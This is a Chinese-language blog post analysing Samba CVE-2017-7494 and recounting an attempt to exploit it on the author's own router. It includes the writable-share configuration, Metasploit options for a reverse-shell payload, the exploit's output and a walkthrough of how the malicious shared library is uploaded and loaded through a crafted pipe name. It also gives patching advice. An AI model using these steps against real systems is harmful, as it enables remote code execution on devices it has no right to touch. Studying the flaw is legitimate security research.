Cool-Y.github.io/source/_posts/Samba-CVE.md
2019-07-27 14:41:29 +08:00

204 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

---
title: 某厂商路由器与Samba漏洞CVE-2017-7494
date: 2019-03-25 13:45:16
tags:
- Samba
- 远程执行
- CVE
categories:
- IOT
---
# 漏洞描述
Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录会导致服务器加载并执行指定的库文件。
具体执行条件如下:
1. 服务器打开了文件/打印机共享端口445让其能够在公网上访问
2. 共享文件拥有写入权限
3. 恶意攻击者需猜解Samba服务端共享目录的物理路径
# Samba介绍
Samba是在Linux和Unix系统上实现SMB协议的一个免费软件由服务器及客户端程序构成。SMBServer Messages Block信息服务块是一种在局域网上共享文件和打印机的一种通信协议它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
SMB协议是客户机/服务器型协议客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源还能与全世界的电脑分享资源。
某厂商路由器的smbd版本为4.0.21该漏洞影响Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本。
# 漏洞成因
处于``\source3\rpc_server\src_pipe.c的is_known_pipename()``函数未对传进来的管道名`pipename`的路径分隔符`/`进行识别过滤导致可以用绝对路径调用恶意的so文件从而远程任意代码执行。
首先看到`is_known_pipename()``函数
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-00-46.png)
跟进到`smb_probe_module()`
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-59-58.jpg)
再跟进到`do_smb_load_module()`,发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-01-19.jpg)
我们可以通过smb服务上传一个恶意的so文件随后通过上述过程进行调用执行任意代码。
# 漏洞复现
## 某路由器满足条件
```
netstat -apnt
tcp 0 0 192.168.31.1:445 0.0.0.0:* LISTEN 0 572 1917/smbd
nmap 192.168.31.1
139/tcp open netbios-ssn
445/tcp open microsoft-ds
```
***端口已开启***
```
vim /etc/samba/smb.conf
deadtime = 30
domain master = yes
encrypt passwords = true
enable core files = no
guest account = nobody
guest ok = yes
invalid users =
local master = yes
load printers = no
map to guest = Bad User
min receivefile size = 16384
null passwords = yes
obey pam restrictions = yes
passdb backend = smbpasswd
preferred master = yes
printable = no
smb encrypt = disabled
smb passwd file = /etc/samba/smbpasswd
socket options = SO_SNDBUFFORCE=1048576 SO_RCVBUFFORCE=1048576
smb2 max trans = 1048576
smb2 max write = 1048576
smb2 max read = 1048576
write cache size = 262144
syslog = 2
syslog only = yes
use sendfile = yes
writeable = yes
log level = 1
unicode = True
max log size = 500
log file = /tmp/log/samba.log
server role = STANDALONE
[homes]
comment = Home Directories
browsable = no
read only = no
create mode = 0750
[data] ***SMB_SHARE_NAME***
path = /tmp ***SMB_FOLDER***
read only = no ***具备可写权限***
guest ok = yes ***允许匿名***
create mask = 0777
directory mask = 0777
```
***具有可写权限、目录为/tmp***
## 攻击使用metasploit
### 设置攻击参数
靶机是某厂商路由器它的系统为mips架构但是这个库好像对它的支持不是很好
```
show options
Module options (exploit/linux/samba/is_known_pipename):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.31.1 yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMB_FOLDER no The directory to use within the writeable SMB share
SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.216.129 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
7 Linux MIPSLE
```
### 执行攻击
```
exploit
[*] Started reverse TCP handler on 192.168.216.129:4444
[*] 192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path
[*] 192.168.31.1:445 - Retrieving the remote path of the share 'data'
[*] 192.168.31.1:445 - Share 'data' has server-side path '/tmp
[*] 192.168.31.1:445 - Uploaded payload to \\192.168.31.1\data\KcQiOcbk.so
[*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so...
[-] 192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so...
[-] 192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] Exploit completed, but no session was created.
```
虽然报错,但是查看共享文件夹/tmp却发现了生成了.so文件
知乎这篇[专栏](https://zhuanlan.zhihu.com/p/27129229)也有相同问题
# 修补方案
最安全的方法还是打补丁或者升级到Samba 4.6.4/4.5.10/4.4.14任意版本,可以参考 https://www.samba.org/samba/history/security.html
如果暂时不能升级版本或安装补丁,可以使用临时解决方案:
在smb.conf的[global]板块中添加参数nt pipe support = no
然后重启smbd服务。
# 分析POC查找原因
(来自[Wz'blog](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/))
## 建立SMB连接。若需要账号密码登录则必须登录后才能继续
从微软上扒的SMB协议建立时序图
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-09-40.png)
对应POC:
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/23-15-57.png)
## 利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-38-48.jpg)
其中find_writeable_path()函数需要跟进看一下:
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-14-43.jpg)
再跟进看enumerate_directories()以及verify_writeable_directory函数
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-48-27.jpg)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-18-44.jpg)
可以看到代码逻辑很清楚首先遍历出当前路径所有的文件夹然后尝试往里面写一个随机的txt文件用作可写测试随后删除掉txt文件记录下可写的文件路径。
至此,我们得到了一个共享名(即本例中的data)以及其当前路径下的可写目录(/tmp)
## 利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-26-47.jpg)
至此获取到了共享名data的绝对路径。
值得注意的是这里跟早期的Payload不一样早期的payload是靠暴力猜解目录所以跟一些分析文章有些出入。现在的Payload是根据NetShareGetInfo直接获取到准确的路径极大地提高了攻击的成功率。
## 上传恶意so文件
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-38-28.jpg)
其中写入的so文件是Metasploit生成的反弹shell很简单的执行一句命令。有一点需要注意的是里面的函数名必须是samba_init_module并且是一个导出函数这个原因上述的漏洞分析也有提及。
## 调用恶意文件并执行echo命令打印随机字符串检验是否调用成功
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-43-02.jpg)
利用从第2步获取到的可写文件目录(Path)以及从第3步得到的共享文件绝对路径(SharePath)构造恶意管道名\\PIPE\/SharePath/Path/Evil.so然后通过SMB_COM_NT_CREATE_ANDX进行调用。
在复现时调用恶意so文件总会失败产生Error Code为STATUS_OBJECT_NAME_NOT_FOUND的错误。尚未能明白为什么会出现这种首次失败的情况也许要详细看看smb协议才能知道了。
POC代码将STATUS_OBJECT_PATH_INVALID作为我们payload被加载的标志随后就是用NBSS协议进行了一次远程代码执行的测试执行代码为echo随机字符串。
## 删除恶意so文件断开smb连接
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-45-01.png)
由msf给出的poc过程可见对路由器的攻击在第五步出现问题因此出现Failed to load STATUS_OBJECT_NAME_NOT_FOUND